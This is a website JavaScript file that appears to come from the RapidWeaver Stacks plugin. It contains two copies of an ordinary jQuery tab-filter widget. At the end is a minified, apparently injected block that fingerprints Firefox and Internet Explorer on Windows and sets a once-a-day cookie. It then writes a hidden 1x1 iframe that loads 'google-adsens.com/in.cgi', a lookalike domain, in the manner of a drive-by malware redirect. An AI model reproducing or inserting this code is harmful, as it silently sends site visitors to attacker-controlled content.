
// 'stacks' is the Stacks global object.
// All of the other Stacks related Javascript will 
// be attatched to it.
var stacks = {};


// this call to jQuery gives us access to the globaal
// jQuery object. 
// 'noConflict' removes the '$' variable.
// 'true' removes the 'jQuery' variable.
// removing these globals reduces conflicts with other 
// jQuery versions that might be running on this page.
stacks.jQuery = jQuery.noConflict(true);

// Javascript for stacks_in_2474_page1
// ---------------------------------------------------------------------

// Each stack has its own object with its own namespace.  The name of
// that object is the same as the stack's id.
stacks.stacks_in_2474_page1 = {};

// A closure is defined and assined to the stack's object.  The object
// is also passed in as 'stack' which gives you a shorthand for refering
// to this object from elsewhere.
stacks.stacks_in_2474_page1 = (function(stack) {

	// When jQuery is used it will be available as $ and jQuery but only
	// inside the closure.
	var jQuery = stacks.jQuery;
	var $ = jQuery;
	

// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
// TABBY STACK BY http://www.doobox.co.uk XXXXXXX
// COPYRIGHT@2010 MR JG SIMPSON, TRADING AS DOOBOX
// ALL RIGHTS RESERVED XXXXXXXXXXXXXXXXXXXXXXXXXXX
// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

/*
PIE: CSS3 rendering for IE
Version 1.0beta4
http://css3pie.com
Dual-licensed for use under the Apache License Version 2.0 or the General Public License (GPL) Version 2.
*/


$(document).ready(function() {

if(typeof String.prototype.trim !== 'function') {
			String.prototype.trim = function() {
			return this.replace(/^\s+|\s+$/, '');
			}
		}
       
      var stacks_in_2474_page1thiscat;
      var stacks_in_2474_page1catTrimed;
	$("#stacks_in_2474_page1 .stacks_in_2474_page1dootabcontainer").each(function() {
		stacks_in_2474_page1thiscat = $(".stacks_in_2474_page1doocat .stacks_in_2474_page1tabname", this).text().trim();
		var stacks_in_2474_page1thiscatArray = stacks_in_2474_page1thiscat.split(',');
		var stacks_in_2474_page1doothis = $(this);
		// stacks_in_2474_page1thiscatArray now holds this instance of cats and any multi cats in this section
		// next we loop through each pulled cat from this section, each cat is in a var named catname.
		$.each(stacks_in_2474_page1thiscatArray, function(index, catname) {
		stacks_in_2474_page1catTrimed = catname.trim().replace(/[^a-z0-9]/gi,"");
		$(stacks_in_2474_page1doothis).addClass(stacks_in_2474_page1catTrimed);

		if($("#" + stacks_in_2474_page1catTrimed).length == 0){
		$("#stacks_in_2474_page1tabpicker").append('<a href="#" id="'+stacks_in_2474_page1catTrimed+'" class="stacks_in_2474_page1doofilter">'+catname+'</a> ');
		}
		});
	});


       

   
   $(".stacks_in_2474_page1doofilter").click(function(){
        var thisFilter = $(this).attr("id");
        var filterboxheight = $("#stacks_in_2474_page1").height();
        $(".stacks_in_2474_page1overalltabcontainer").css("min-height",filterboxheight);
        $(".stacks_in_2474_page1dootabcontainer").slideUp();
        $("."+ thisFilter).slideDown('slow', function() {
        	 $(".stacks_in_2474_page1overalltabcontainer").animate({"min-height":"10px"},"slow");
 		 });
        $("#stacks_in_2474_page1tabpicker a").removeClass("stacks_in_2474_page1current");
        $(this).addClass("stacks_in_2474_page1current");
        return false;
   });
   

   $("#stacks_in_2474_page1tabpicker a:first-child").addClass("stacks_in_2474_page1current");


});



// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
// END DOOBOX TABBY STACK XXXXXXXXXXXXXXXXXXXX
// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
	return stack;
})(stacks.stacks_in_2474_page1);


// Javascript for stacks_in_2564_page1
// ---------------------------------------------------------------------

// Each stack has its own object with its own namespace.  The name of
// that object is the same as the stack's id.
stacks.stacks_in_2564_page1 = {};

// A closure is defined and assined to the stack's object.  The object
// is also passed in as 'stack' which gives you a shorthand for refering
// to this object from elsewhere.
stacks.stacks_in_2564_page1 = (function(stack) {

	// When jQuery is used it will be available as $ and jQuery but only
	// inside the closure.
	var jQuery = stacks.jQuery;
	var $ = jQuery;
	

// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
// TABBY STACK BY http://www.doobox.co.uk XXXXXXX
// COPYRIGHT@2010 MR JG SIMPSON, TRADING AS DOOBOX
// ALL RIGHTS RESERVED XXXXXXXXXXXXXXXXXXXXXXXXXXX
// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

/*
PIE: CSS3 rendering for IE
Version 1.0beta4
http://css3pie.com
Dual-licensed for use under the Apache License Version 2.0 or the General Public License (GPL) Version 2.
*/


$(document).ready(function() {

if(typeof String.prototype.trim !== 'function') {
			String.prototype.trim = function() {
			return this.replace(/^\s+|\s+$/, '');
			}
		}
       
      var stacks_in_2564_page1thiscat;
      var stacks_in_2564_page1catTrimed;
	$("#stacks_in_2564_page1 .stacks_in_2564_page1dootabcontainer").each(function() {
		stacks_in_2564_page1thiscat = $(".stacks_in_2564_page1doocat .stacks_in_2564_page1tabname", this).text().trim();
		var stacks_in_2564_page1thiscatArray = stacks_in_2564_page1thiscat.split(',');
		var stacks_in_2564_page1doothis = $(this);
		// stacks_in_2564_page1thiscatArray now holds this instance of cats and any multi cats in this section
		// next we loop through each pulled cat from this section, each cat is in a var named catname.
		$.each(stacks_in_2564_page1thiscatArray, function(index, catname) {
		stacks_in_2564_page1catTrimed = catname.trim().replace(/[^a-z0-9]/gi,"");
		$(stacks_in_2564_page1doothis).addClass(stacks_in_2564_page1catTrimed);

		if($("#" + stacks_in_2564_page1catTrimed).length == 0){
		$("#stacks_in_2564_page1tabpicker").append('<a href="#" id="'+stacks_in_2564_page1catTrimed+'" class="stacks_in_2564_page1doofilter">'+catname+'</a> ');
		}
		});
	});


       

   
   $(".stacks_in_2564_page1doofilter").click(function(){
        var thisFilter = $(this).attr("id");
        var filterboxheight = $("#stacks_in_2564_page1").height();
        $(".stacks_in_2564_page1overalltabcontainer").css("min-height",filterboxheight);
        $(".stacks_in_2564_page1dootabcontainer").slideUp();
        $("."+ thisFilter).slideDown('slow', function() {
        	 $(".stacks_in_2564_page1overalltabcontainer").animate({"min-height":"10px"},"slow");
 		 });
        $("#stacks_in_2564_page1tabpicker a").removeClass("stacks_in_2564_page1current");
        $(this).addClass("stacks_in_2564_page1current");
        return false;
   });
   

   $("#stacks_in_2564_page1tabpicker a:first-child").addClass("stacks_in_2564_page1current");


});



// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
// END DOOBOX TABBY STACK XXXXXXXXXXXXXXXXXXXX
// xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
	return stack;
})(stacks.stacks_in_2564_page1);


var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
